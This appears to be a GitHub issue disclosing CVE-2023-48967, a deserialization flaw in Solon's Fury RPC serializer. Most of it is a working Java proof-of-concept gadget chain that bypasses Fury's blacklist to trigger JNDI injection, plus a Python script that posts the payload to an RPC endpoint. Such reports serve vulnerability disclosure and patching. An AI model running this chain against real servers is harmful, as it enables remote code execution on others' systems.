Headline
CVE-2023-48967: A new RCE vulnerability · Issue #226 · noear/solon
Ssolon <= 2.6.0 and <=2.5.12 is vulnerable to Deserialization of Untrusted Data.
Issue Description
We recently discovered that Solon provides ‘Fury’ as a serialization and deserialization solution for RPC. However, our research has found that the corresponding component has a security vulnerability. Attackers can execute a JNDI injection attack using a carefully constructed attack payload.
Vulnerability Localization
The vulnerability is located at line 25 of the org.noear.solon.serialization.fury.FuryActionExecutor class, as shown in the figure above. Although Fury provides a built-in blacklist to defend against potential deserialization attacks, we will next demonstrate how to bypass this blacklist to carry out an attack.
Vulnerability Reproduction****Configuring the RPC Service
Issue #145 has already provided a simple configuration for an RPC server. We just need to add the following dependencies in the pom.xml file:
<dependency>
<groupId>org.noear</groupId>
<artifactId>solon.serialization.fury</artifactId>
<version>2.6.0</version>
</dependency>
<dependency>
<groupId>com.caucho</groupId>
<artifactId>quercus</artifactId>
<version>4.0.66</version>
</dependency>
Configuring a Malicious LDAP Server
We use ysoserial(https://github.com/frohoff/ysoserial) to set up a malicious LDAP server for subsequent JNDI injection attacks(Note that in this instance, we are demonstrating using the well-known exploit chain CommonsCollections2. To achieve a similar effect, please configure the corresponding dependencies on the RPC server side.).
Proof of Concept
We can obtain the serialized data required for the attack through the following PoC (Proof of Concept).
RegistryContext registryContext = new RegistryContext("127.0.0.1", 8989, null);
MemoryModel memoryModel = new MemoryModel();
memoryModel.bind("evil", registryContext);
ContextImpl context = new ContextImpl("rmi://localhost:8888/8tr4qv", memoryModel, null);
Constructor c = QBindingEnumeration.class.getDeclaredConstructors()[0];
c.setAccessible(true);
ArrayList<String> list = new ArrayList<>();
list.add("/evil/8tr4qv");
QBindingEnumeration enumeration = (QBindingEnumeration) c.newInstance(context, list);
XStringForFSB xString = Reflections.createWithoutConstructor(XStringForFSB.class);
Reflections.setFieldValue(xString, "m_strCache", "nxjkas");
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy",enumeration);
map1.put("zZ",xString);
map2.put("yy",xString);
map2.put("zZ",enumeration);
HashMap s = new HashMap();
setFieldValue(s, "size", 2);
Class nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, map1, map1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, map2, map2, null));
setFieldValue(s, "table", tbl);
byte[] poc = FuryUtil.fury.serialize(s);
new FileOutputStream(new File("/tmp/serifury")).write(poc);
Subsequently, we can use the Python script below to send the malicious serialized data to the server, completing the exploitation (this Python script is also referenced from Issue #145).
with open("/tmp/serifury","rb") as f:
body= f.read()
print(len(body))
burp0_url = "http://127.0.0.1:8080/rpc/v1/user/getUser"
burp0_cookies = {"_jpanonym": "\"OWQ0ZTEzNzBlMWFlYTY2NzhhMDMxOWM5MmYzMjc0MzgjMTY2NTU2NDE1MzAwOCMzMTUzNjAwMCNPR1ZpTkRVd05qWXpZbU0xTkRCaU0yRXlabVpoTlRrek5HUXpabVk1TmpJPQ==\"", "Hm_lvt_bfe2407e37bbaa8dc195c5db42daf96a": "1665564182"}
ct = "application/fury"
burp0_headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "deflate",
"Connection": "close", "Content-Type": ct, "Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-Site": "none", "Sec-Fetch-User": "?1"}
res = requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=body, proxies=proxy)
print(res.text)
Attack Results
Related news
Ssolon <= 2.6.0 and <=2.5.12 is vulnerable to Deserialization of Untrusted Data.